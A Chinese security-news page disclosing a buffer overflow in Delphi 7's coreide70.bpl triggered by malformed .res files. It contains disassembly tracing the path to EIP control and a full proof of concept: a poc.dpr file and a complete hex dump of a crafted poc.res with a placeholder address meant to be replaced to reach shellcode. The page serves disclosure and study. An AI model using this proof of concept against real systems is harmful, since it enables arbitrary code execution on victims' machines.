知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

DELPHI7缓冲区溢出

发布时间:2014-04-28 12:39:47作者:知识屋

在处理.res文件时候,未检测相应结构大小,造成缓冲区溢出。
 
攻击者可以构造特定的.res文件,即可利用此执行任意想执行的程序。
 
漏洞文件coreide70.bpl
 
文件版本7.0.4.453
 
相关函数
 
0049495C 8B45 08 mov eax, dword ptr [ebp+8] ; 这里eax被淹没 [eax] 可控

0049495F 8B40 FC mov eax, dword ptr [eax-4] ; [eax-4]可控 eax 可控

; 此时eax就是我们poc里面的41414141 设这个地址为ADD

00494962 B9 01000000 mov ecx, 1

00494967 8B18 mov ebx, dword ptr [eax] ; ebx=[ADD] ebx可控

00494969 FF53 0C call dword ptr [ebx+C] ; ebx可控 [[ADD]+c] 可控(eip可控) 可指向shellcode



0013F821 31 31 31 31 31 31 31 31 31 31 31 31 41 41 41 41 111111111111AAAA

0013F831 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

0013F841 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

0013F851 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

0013F861 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

 

 
把这2个文件放在同一个文件夹下面。用打开poc.dpr 既可以触发漏洞。
 
poc.dpr
 
(把下面数据以文本形式保存,重命名为poc.dpr)
 
{$R *.res}
 
 
 
 
poc.dpr
 
(把下面数据以16进制的形式保存,重命名为poc.res)
 
0000000020000000FFFF0000FFFF000000000000000000000000000000000000E802000020000000FFFF0300FFFF010000000000101004080000000000000000280000002000000040000000010004000000000000020000000000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF000B3111111111111000000000000000000BBB333333333110000000000000000008888B333333331000000000000000000033333333331100000000000000000000888888BBBBB10000000000000000000000333333333100044444000000000000008BBBB3B10004467676440000000000008BBBB331004767676676400000000000888BB3310226767667676400000000000BBBB3310277776762767400000000000BBBB3317777777222676640000000000888BB3177777772227676400000000000BBBB3318777222226766400000000000BBBB3318777222222666400000000000888BB31877772277222240000000000008BBB3318F777227222240000000000008BBB33187F7772222240000000000000888BB3172777222FB0400000000000000BBBB33172777222FB000000000000000888B331722777724BB00000000000000088BB310022222000BB0000000000000088BB3310000000000BB0000000000000088BB31000000000BBBB000000000000088BB331000000BBBBBBB7000000000000BBB333100000BBBBB0000B3333333333BBB3331000000BBBB0000BB3333333333BBB333000000BBBBB000BBB3333333BBBBBB330000000BBBBB008BBBBBBBBBBB88BBB300000000BBBBB88B8888888888888BB300000000BBBBB08888888888888888BB000000000BBB000000000000000000000000000000B0008001FFFF8001FFFF8001FFFFC003FFFFC003FFFFF00383FFF00E00FFF00C007FF008003FF808003FF800001FF800001FFC00001FFC00001FFC00001FFE00001FFE00003FFE00003FFF00003FFF00001FFF81838FFF80FFC7FFC0FC03FFC07E01FFE03E0F00003F0700003F0300003F8100003FC000003FC100003FE3FFFFFFF714000000C0010000FFFF0E004D00410049004E00490043004F004E0031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310041004100410041003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100000000000000001010040800000000000000000000010001002020100001000400E8020000010000

 

 
 
 
注意偏移4BDH的0041004100410041(UNICODE编码 就是41414141,AAAA) 
 
41414141H是我们随意写的,但是这个地址很重要。攻击者精心设计这个地址和周边的数据,既可以执行想要的shellcode
修复方案:
检测大小
(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜